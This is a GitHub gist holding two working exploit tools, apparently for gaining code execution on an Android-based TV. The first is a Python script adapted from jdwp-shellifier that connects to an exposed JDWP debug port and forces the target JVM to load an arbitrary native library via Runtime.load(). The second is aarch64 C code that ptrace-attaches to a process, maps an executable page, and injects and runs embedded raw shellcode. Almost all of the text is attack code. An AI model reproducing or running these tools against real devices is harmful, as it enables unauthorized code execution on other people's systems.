Skip to content

Instantly share code, notes, and snippets.

@5ec1cff
Last active November 21, 2023 15:28
Show Gist options
  • Save 5ec1cff/0cb045c79d78aa02f927edfc54be5ade to your computer and use it in GitHub Desktop.
Save 5ec1cff/0cb045c79d78aa02f927edfc54be5ade to your computer and use it in GitHub Desktop.
ptrace inject source code of pwn-tv
#!/usr/bin/python
################################################################################
#
# Universal JDWP shellifier
#
# @_hugsy_
#
# And special cheers to @lanjelot
# https://github.com/IOActive/jdwp-shellifier/blob/e82ec26193861ba58179aae7f3fa93654b7abc8a/jdwp-shellifier.py
import socket
import time
import sys
import struct
import urllib
import argparse
import traceback
import threading
################################################################################
#
# JDWP protocol variables
#
HANDSHAKE = b"JDWP-Handshake"
REQUEST_PACKET_TYPE = 0x00
REPLY_PACKET_TYPE = 0x80
# Command signatures
VERSION_SIG = (1, 1)
CLASSESBYSIGNATURE_SIG = (1, 2)
ALLCLASSES_SIG = (1, 3)
ALLTHREADS_SIG = (1, 4)
IDSIZES_SIG = (1, 7)
CREATESTRING_SIG = (1, 11)
SUSPENDVM_SIG = (1, 8)
RESUMEVM_SIG = (1, 9)
SIGNATURE_SIG = (2, 1)
FIELDS_SIG = (2, 4)
METHODS_SIG = (2, 5)
GETVALUES_SIG = (2, 6)
CLASSOBJECT_SIG = (2, 11)
INVOKESTATICMETHOD_SIG = (3, 3)
REFERENCETYPE_SIG = (9, 1)
INVOKEMETHOD_SIG = (9, 6)
STRINGVALUE_SIG = (10, 1)
THREADNAME_SIG = (11, 1)
THREADSUSPEND_SIG = (11, 2)
THREADRESUME_SIG = (11, 3)
THREADSTATUS_SIG = (11, 4)
EVENTSET_SIG = (15, 1)
EVENTCLEAR_SIG = (15, 2)
EVENTCLEARALL_SIG = (15, 3)
# Other codes
MODKIND_COUNT = 1
MODKIND_THREADONLY = 2
MODKIND_CLASSMATCH = 5
MODKIND_LOCATIONONLY = 7
EVENT_BREAKPOINT = 2
SUSPEND_EVENTTHREAD = 1
SUSPEND_ALL = 2
NOT_IMPLEMENTED = 99
VM_DEAD = 112
INVOKE_SINGLE_THREADED = 2
TAG_OBJECT = 76
TAG_STRING = 115
TYPE_CLASS = 1
TAG_BOOLEAN = 90
################################################################################
#
# JDWP client class
#
class JDWPClient:
def __init__(self, host, port=8000):
self.host = host
self.port = port
self.methods = {}
self.fields = {}
self.id = 0x01
return
def create_packet(self, cmdsig, data=b""):
flags = 0x00
cmdset, cmd = cmdsig
pktlen = len(data) + 11
pkt = struct.pack(">IIccc", pktlen, self.id, chr(flags).encode(), chr(cmdset).encode(), chr(cmd).encode())
pkt += data
self.id += 2
return pkt
def read_reply(self):
header = self.socket.recv(11)
# size1 = struct.calcsize(">IIcH")
# size2 = len(header)
# print(" size1 = %d size2 = %d" % (size1, size2))
pktlen, id, flags, errcode = struct.unpack(">IIcH", header)
if flags[0] == REPLY_PACKET_TYPE:
if errcode:
raise Exception("Received errcode %d" % errcode)
buf = b""
while len(buf) + 11 < pktlen:
data = self.socket.recv(1024)
if len(data):
buf += data
else:
time.sleep(1)
return buf
def parse_entries(self, buf, formats, explicit=True):
entries = []
index = 0
if explicit:
nb_entries = struct.unpack(">I", buf[:4])[0]
buf = buf[4:]
else:
nb_entries = 1
for i in range(nb_entries):
data = {}
for fmt, name in formats:
if fmt == "L" or fmt == 8:
data[name] = int(struct.unpack(">Q", buf[index:index + 8])[0])
index += 8
elif fmt == "I" or fmt == 4:
data[name] = int(struct.unpack(">I", buf[index:index + 4])[0])
index += 4
elif fmt == 'S':
l = struct.unpack(">I", buf[index:index + 4])[0]
data[name] = buf[index + 4:index + 4 + l]
index += 4 + l
elif fmt == 'C':
data[name] = ord(struct.unpack(">c", bytes([buf[index]]))[0])
index += 1
elif fmt == 'Z':
t = ord(struct.unpack(">c", buf[index])[0])
if t == 115:
s = self.solve_string(buf[index + 1:index + 9])
data[name] = s
index += 9
elif t == 73:
data[name] = struct.unpack(">I", buf[index + 1:index + 5])[0]
buf = struct.unpack(">I", buf[index + 5:index + 9])
index = 0
else:
raise Exception("???")
entries.append(data)
return entries
def format(self, fmt, value):
if fmt == "L" or fmt == 8:
return struct.pack(">Q", value)
elif fmt == "I" or fmt == 4:
return struct.pack(">I", value)
raise Exception("Unknown format")
def unformat(self, fmt, value):
if fmt == "L" or fmt == 8:
return struct.unpack(">Q", value[:8])[0]
elif fmt == "I" or fmt == 4:
return struct.unpack(">I", value[:4])[0]
else:
raise Exception("Unknown format")
def start(self):
self.handshake(self.host, self.port)
self.idsizes()
self.getversion()
self.allclasses()
def handshake(self, host, port):
s = socket.socket()
try:
s.connect((host, port))
except socket.error as msg:
raise Exception("Failed to connect: %s" % msg)
s.send(HANDSHAKE)
if s.recv(len(HANDSHAKE)) != HANDSHAKE:
raise Exception("Failed to handshake")
else:
self.socket = s
def leave(self):
self.socket.close()
def getversion(self):
self.socket.sendall(self.create_packet(VERSION_SIG))
buf = self.read_reply()
formats = [('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"),
('S', "vmVersion"), ('S', "vmName"), ]
for entry in self.parse_entries(buf, formats, False):
for name, value in entry.items():
setattr(self, name, value)
@property
def version(self):
return "%s - %s" % (self.vmName, self.vmVersion)
def idsizes(self):
self.socket.sendall(self.create_packet(IDSIZES_SIG))
buf = self.read_reply()
formats = [("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"),
("I", "referenceTypeIDSize"), ("I", "frameIDSize")]
for entry in self.parse_entries(buf, formats, False):
for name, value in entry.items():
setattr(self, name, value)
def allthreads(self):
try:
getattr(self, "threads")
except:
self.socket.sendall(self.create_packet(ALLTHREADS_SIG))
buf = self.read_reply()
formats = [(self.objectIDSize, "threadId")]
self.threads = self.parse_entries(buf, formats)
finally:
return self.threads
def get_thread_by_name(self, name):
self.allthreads()
for t in self.threads:
threadId = self.format(self.objectIDSize, t["threadId"])
self.socket.sendall(self.create_packet(THREADNAME_SIG, data=threadId))
buf = self.read_reply()
if len(buf) and name == self.readstring(buf):
return t
return None
def allclasses(self):
try:
getattr(self, "classes")
except:
self.socket.sendall(self.create_packet(ALLCLASSES_SIG))
buf = self.read_reply()
formats = [('C', "refTypeTag"),
(self.referenceTypeIDSize, "refTypeId"),
('S', "signature"),
('I', "status")]
self.classes = self.parse_entries(buf, formats)
return self.classes
def get_class_by_name(self, name):
for entry in self.classes:
if entry["signature"] == name:
return entry
return None
def get_methods(self, refTypeId):
if refTypeId not in self.methods:
refId = self.format(self.referenceTypeIDSize, refTypeId)
self.socket.sendall(self.create_packet(METHODS_SIG, data=refId))
buf = self.read_reply()
formats = [(self.methodIDSize, "methodId"),
('S', "name"),
('S', "signature"),
('I', "modBits")]
self.methods[refTypeId] = self.parse_entries(buf, formats)
return self.methods[refTypeId]
def get_method_by_name(self, name):
for refId in self.methods.keys():
for entry in self.methods[refId]:
# print("xiawanli entry[name] = ", entry["name"])
# print("xiawanli entry[signature] = ", entry["signature"])
if entry["name"].lower() == name.lower():
return entry
return None
def getfields(self, refTypeId):
if not self.fields.has_key(refTypeId):
refId = self.format(self.referenceTypeIDSize, refTypeId)
self.socket.sendall(self.create_packet(FIELDS_SIG, data=refId))
buf = self.read_reply()
formats = [(self.fieldIDSize, "fieldId"),
('S', "name"),
('S', "signature"),
('I', "modbits")]
self.fields[refTypeId] = self.parse_entries(buf, formats)
return self.fields[refTypeId]
def getvalue(self, refTypeId, fieldId):
data = self.format(self.referenceTypeIDSize, refTypeId)
data += struct.pack(">I", 1)
data += self.format(self.fieldIDSize, fieldId)
self.socket.sendall(self.create_packet(GETVALUES_SIG, data=data))
buf = self.read_reply()
formats = [("Z", "value")]
field = self.parse_entries(buf, formats)[0]
return field
def createstring(self, data):
buf = self.buildstring(data)
self.socket.sendall(self.create_packet(CREATESTRING_SIG, data=buf))
buf = self.read_reply()
return self.parse_entries(buf, [(self.objectIDSize, "objId")], False)
def buildstring(self, data):
return struct.pack(">I", len(data)) + data.encode()
def readstring(self, data):
size = struct.unpack(">I", data[:4])[0]
return data[4:4 + size]
def suspendvm(self):
self.socket.sendall(self.create_packet(SUSPENDVM_SIG))
self.read_reply()
return
def resumevm(self):
self.socket.sendall(self.create_packet(RESUMEVM_SIG))
self.read_reply()
return
def invokestatic(self, classId, threadId, methId, *args):
data = self.format(self.referenceTypeIDSize, classId)
data += self.format(self.objectIDSize, threadId)
data += self.format(self.methodIDSize, methId)
data += struct.pack(">I", len(args))
for arg in args:
data += arg
data += struct.pack(">I", 0)
self.socket.sendall(self.create_packet(INVOKESTATICMETHOD_SIG, data=data))
buf = self.read_reply()
return buf
def invoke(self, objId, threadId, classId, methId, *args):
data = self.format(self.objectIDSize, objId)
data += self.format(self.objectIDSize, threadId)
data += self.format(self.referenceTypeIDSize, classId)
data += self.format(self.methodIDSize, methId)
data += struct.pack(">I", len(args))
for arg in args:
data += arg
data += struct.pack(">I", 0)
self.socket.sendall(self.create_packet(INVOKEMETHOD_SIG, data=data))
buf = self.read_reply()
return buf
def invokeVoid(self, objId, threadId, classId, methId, *args):
data = self.format(self.objectIDSize, objId)
data += self.format(self.objectIDSize, threadId)
data += self.format(self.referenceTypeIDSize, classId)
data += self.format(self.methodIDSize, methId)
data += struct.pack(">I", len(args))
for arg in args:
data += arg
data += struct.pack(">I", 0)
self.socket.sendall(self.create_packet(INVOKEMETHOD_SIG, data=data))
buf = None
return buf
def solve_string(self, objId):
self.socket.sendall(self.create_packet(STRINGVALUE_SIG, data=objId))
buf = self.read_reply()
if len(buf):
return self.readstring(buf)
else:
return ""
def query_thread(self, threadId, kind):
data = self.format(self.objectIDSize, threadId)
self.socket.sendall(self.create_packet(kind, data=data))
buf = self.read_reply()
return
def suspend_thread(self, threadId):
return self.query_thread(threadId, THREADSUSPEND_SIG)
def status_thread(self, threadId):
return self.query_thread(threadId, THREADSTATUS_SIG)
def resume_thread(self, threadId):
return self.query_thread(threadId, THREADRESUME_SIG)
def send_event(self, eventCode, *args):
data = b""
data += chr(eventCode).encode()
data += chr(SUSPEND_ALL).encode()
data += struct.pack(">I", len(args))
for kind, option in args:
data += chr(kind).encode()
data += option
self.socket.sendall(self.create_packet(EVENTSET_SIG, data=data))
buf = self.read_reply()
return struct.unpack(">I", buf)[0]
def clear_event(self, eventCode, rId):
data = chr(eventCode).encode()
data += struct.pack(">I", rId)
self.socket.sendall(self.create_packet(EVENTCLEAR_SIG, data=data))
self.read_reply()
return
def clear_events(self):
self.socket.sendall(self.create_packet(EVENTCLEARALL_SIG))
self.read_reply()
return
def wait_for_event(self):
buf = self.read_reply()
return buf
def parse_event_breakpoint(self, buf, eventId):
num = struct.unpack(">I", buf[2:6])[0]
rId = struct.unpack(">I", buf[6:10])[0]
if rId != eventId:
return None
tId = self.unformat(self.objectIDSize, buf[10:10 + self.objectIDSize])
loc = -1 # don't care
return rId, tId, loc
def runtime_exec(jdwp, args):
print("[+] Targeting '%s:%d'" % (args.target, args.port))
# print ("[+] Reading settings for '%s'" % jdwp.version)
# 1. get Runtime class reference
runtime_class = jdwp.get_class_by_name(b"Ljava/lang/Runtime;")
if runtime_class is None:
print("[-] Cannot find class java.lang.Runtime")
return False
# print ("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"])
# 2. get getRuntime() meth reference
jdwp.get_methods(runtime_class["refTypeId"])
get_runtime_method = jdwp.get_method_by_name(b"getRuntime")
if get_runtime_method is None:
print("[-] Cannot find method Runtime.getRuntime()")
return False
# print ("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"])
# 3. setup breakpoint on frequently called method
c = jdwp.get_class_by_name(args.break_on_class.encode())
if c is None:
print(f"[-] Could not access class '{args.break_on_class}'")
print("[-] It is possible that this class is not used by application")
print("[-] Test with another one with option `--break-on`")
return False
jdwp.get_methods(c["refTypeId"])
m = jdwp.get_method_by_name(args.break_on_method.encode())
# m = jdwp.get_method_by_name( "<init>" )
if m is None:
print("[-] Could not access method '%s'" % args.break_on)
return False
loc = chr(TYPE_CLASS).encode()
loc += jdwp.format(jdwp.referenceTypeIDSize, c["refTypeId"])
loc += jdwp.format(jdwp.methodIDSize, m["methodId"])
loc += struct.pack(">II", 0, 0)
data = [(MODKIND_LOCATIONONLY, loc), ]
rId = jdwp.send_event(EVENT_BREAKPOINT, *data)
# print ("[+] Created break event id=%x" % rId)
# 4. resume vm and wait for event
jdwp.resumevm()
print("[+] Waiting for an event on '%s'" % args.break_on)
while True:
buf = jdwp.wait_for_event()
ret = jdwp.parse_event_breakpoint(buf, rId)
if ret is not None:
break
rId, tId, loc = ret
print("[+] Received matching event from thread %#x" % tId)
# time.sleep(1)
# jdwp.clear_event(EVENT_BREAKPOINT, rId)
# 5. Now we can execute any code
if args.loadlib:
runtime_load_payload(jdwp, tId, runtime_class["refTypeId"], get_runtime_method["methodId"], args.loadlib)
# time.sleep(2)
print("[*] Library should now be loaded")
jdwp.resumevm()
print("[!] Command successfully executed")
return True
def runtime_load_payload(jdwp: JDWPClient, threadId, runtimeClassId, getRuntimeMethId, library: str):
#
# This function will run Runtime.load() with library as a payload
#
# print("[+] Selected payload '%s'" % library)
# 1. allocating string containing our command to exec()
cmdObjIds = jdwp.createstring(library)
if len(cmdObjIds) == 0:
print("[-] Failed to allocate library string")
return False
cmdObjId = cmdObjIds[0]["objId"]
# print("[+] Command string object created id:%x" % cmdObjId)
# 2. use context to get Runtime object
buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId)
if buf[0] != TAG_OBJECT:
print("[-] Unexpected returned type: expecting Object")
return False
rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
if rt is None:
print("[-] Failed to invoke Runtime.getRuntime()")
return False
# print("[+] Runtime.getRuntime() returned context id:%#x" % rt)
# 3. find load() method
loadMeth = jdwp.get_method_by_name(b"load")
if loadMeth is None:
print("[-] Cannot find method Runtime.load()")
return False
# print("[+] found Runtime.load(): id=%x" % loadMeth["methodId"])
# 4. call exec() in this context with the alloc-ed string
data = [chr(TAG_OBJECT).encode() + jdwp.format(jdwp.objectIDSize, cmdObjId)]
jdwp.invokeVoid(rt, threadId, runtimeClassId, loadMeth["methodId"], *data)
print("[+] Runtime.load(\"%s\") probably successful" % library)
return True
def str2fqclass(s):
i = s.rfind('.')
if i == -1:
print("Cannot parse path")
sys.exit(1)
method = s[i:][1:]
classname = 'L' + s[:i].replace('.', '/') + ';'
return classname, method
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Universal exploitation script for JDWP by @_hugsy_",
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument("-t", "--target", type=str, metavar="IP", help="Remote target IP", required=True)
parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port")
parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD",
default="android.os.Handler.dispatchMessage", help="Specify full path to method to break on")
parser.add_argument("--loadlib", dest="loadlib", type=str, metavar="LIBRARYNAME",
help="Specify library to inject into process load")
args = parser.parse_args()
classname, meth = str2fqclass(args.break_on)
setattr(args, "break_on_class", classname)
setattr(args, "break_on_method", meth)
retcode = 0
try:
cli = JDWPClient(args.target, args.port)
cli.start()
if runtime_exec(cli, args) == False:
print("[-] Exploit failed")
retcode = 1
except KeyboardInterrupt:
print("[+] Exiting on user's request")
except Exception as e:
print("[-] Exception: %s" % e)
traceback.print_exc()
retcode = 1
cli = None
finally:
if cli:
cli.leave()
sys.exit(retcode)
#include <jni.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/wait.h>
#include <string.h>
#include <fcntl.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include "logging.h"
#include "pt-inject.h"
#if __aarch64__
#define NT_PRSTATUS 1
unsigned char shellcode[] = {32, 2, 128, 210, 225, 3, 31, 170, 226, 3, 31, 170, 227, 3, 31, 170, 228, 3, 31, 170, 136, 27, 128, 210, 1, 0, 0, 212, 31, 0, 0, 113, 108, 2, 0, 84, 14, 238, 142, 210, 206, 205, 165, 242, 110, 14, 205, 242, 238, 15, 31, 248, 238, 133, 140, 210, 46, 140, 174, 242, 46, 236, 197, 242, 142, 237, 237, 242, 111, 44, 140, 210, 143, 237, 165, 242, 143, 174, 205, 242, 15, 238, 229, 242, 238, 63, 191, 169, 224, 3, 0, 145, 225, 3, 31, 170, 226, 3, 31, 170, 168, 27, 128, 210, 1, 0, 0, 212, 0, 0, 32, 212};
void dump_regs(int pid) {
struct user_regs_struct regs;
struct iovec iov = {
.iov_base = &regs,
.iov_len = sizeof (struct user_regs_struct),
};
ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov);
for (int i = 0; i < 31; i++) {
LOGI("x%d=%p", i, regs.regs[i]);
}
LOGI("sp=%p", regs.sp);
LOGI("pc=%p", regs.pc);
}
void inject(int pid) {
int status;
LOGD("inject into pid %d", pid);
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL)) {
PLOGE("ptrace init");
return;
}
if (waitpid(pid, &status, 0)) {
if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGSTOP) {
LOGI("successful to attach!");
} else {
LOGD("stopped by other sig: %d", WSTOPSIG(status));
goto exit;
}
}
if (ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACEFORK | PTRACE_O_TRACEVFORK | PTRACE_O_TRACECLONE)) {
PLOGE("failed to setoptions");
}
struct user_regs_struct regs, regs_backup;
struct iovec iov = {
.iov_base = &regs,
.iov_len = sizeof (struct user_regs_struct),
};
LOGD("saving registers");
void * orig_pc;
ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov);
memcpy(&regs_backup, &regs, sizeof(struct user_regs_struct));
LOGD("save orig context");
orig_pc = regs.pc;
regs.regs[8] = SYS_mmap;
regs.regs[5] = 0;
regs.regs[1] = sizeof(shellcode);
regs.regs[2] = PROT_READ | PROT_WRITE | PROT_EXEC;
regs.regs[3] = MAP_ANONYMOUS | MAP_PRIVATE;
regs.regs[4] = 0xffffffff;
regs.regs[0] = 0;
LOGD("orig pc=%p", orig_pc);
LOGD("set registers for syscall");
ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov);
long orig_code = ptrace(PTRACE_PEEKDATA, pid, orig_pc, NULL);
LOGD("word=%ld", orig_code);
ptrace(PTRACE_POKEDATA, pid, orig_pc, 0xd4000001);
LOGD("calling mmap");
ptrace(PTRACE_SINGLESTEP, pid, 0, 0);
if (waitpid(pid, &status, 0)) {
if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) {
LOGI("called mmap!");
} else {
LOGD("stopped by other sig: %d", WSTOPSIG(status));
goto exit;
}
}
ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov);
void *ptr = regs.regs[0];
if (ptr < 0) {
LOGE("mmap error: %p", ptr);
goto exit;
} else {
LOGD("rwx page: %p", ptr);
}
ptrace(PTRACE_POKEDATA, pid, orig_pc, orig_code);
LOGD("writing shellcode...");
long* codes = (long*) shellcode;
for (int i = 0 ; i < ((sizeof(shellcode) + sizeof(long) - 1) / sizeof(long)); i++) {
ptrace(PTRACE_POKEDATA, pid, (long*) ptr + i, codes[i]);
// LOGD("%d", i);
// getchar();
}
LOGD("done writing shellcode...");
// getchar();
regs.pc = ptr;
ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov);
ptrace(PTRACE_CONT, pid, NULL, NULL);
while (waitpid(pid, &status, 0)) {
if (!WIFSTOPPED(status)) {
LOGE("not stopped");
continue;
}
if (WSTOPSIG(status) == SIGTRAP) {
if (status>>8 == (SIGTRAP | (PTRACE_EVENT_FORK<<8))) {
LOGI("success to fork!");
int new_pid;
if (ptrace(PTRACE_GETEVENTMSG, pid, NULL, &new_pid)) {
LOGE("failed to get new pid");
} else {
LOGD("new_pid=%d", new_pid);
int count = 0;
while (waitpid(new_pid, &status, 0)) {
/*
if (WIFEXITED(status)) {
LOGE("child exited");
break;
}
if (count == 0) {
count++;
ptrace(PTRACE_CONT, new_pid, NULL, NULL);
} else {
LOGD("child stopped by sig: %d %s", WSTOPSIG(status), strsignal(WSTOPSIG(status)));
siginfo_t sig_info;
if (ptrace(PTRACE_GETSIGINFO, new_pid, NULL, &sig_info)) {
LOGE("failed to get sig info");
} else {
LOGD("fault addr: %p", sig_info.si_addr);
}
dump_regs(new_pid);
getchar();
if (ptrace(PTRACE_DETACH, new_pid, NULL, NULL)) {
PLOGE("failed to detach new process");
} else {
break;
}
}*/
if (ptrace(PTRACE_DETACH, new_pid, NULL, NULL)) {
PLOGE("failed to detach new process");
} else {
break;
}
}
}
} else {
LOGI("success to inject!");
break;
}
ptrace(PTRACE_CONT, pid, NULL, NULL);
} else {
LOGD("stopped by other sig: %d %s", WSTOPSIG(status), strsignal(WSTOPSIG(status)));
siginfo_t sig_info;
if (ptrace(PTRACE_GETSIGINFO, pid, NULL, &sig_info)) {
LOGE("failed to get sig info");
} else {
LOGD("fault addr: %p", sig_info.si_addr);
}
goto exit;
}
}
iov.iov_base = &regs_backup;
ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov);
exit:
LOGD("exiting...");
if (ptrace(PTRACE_DETACH, pid, NULL, NULL)) {
PLOGE("PTRACE_DETACH");
}
}
#else
void inject(int pid) {
// not implemented
}
#endif
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment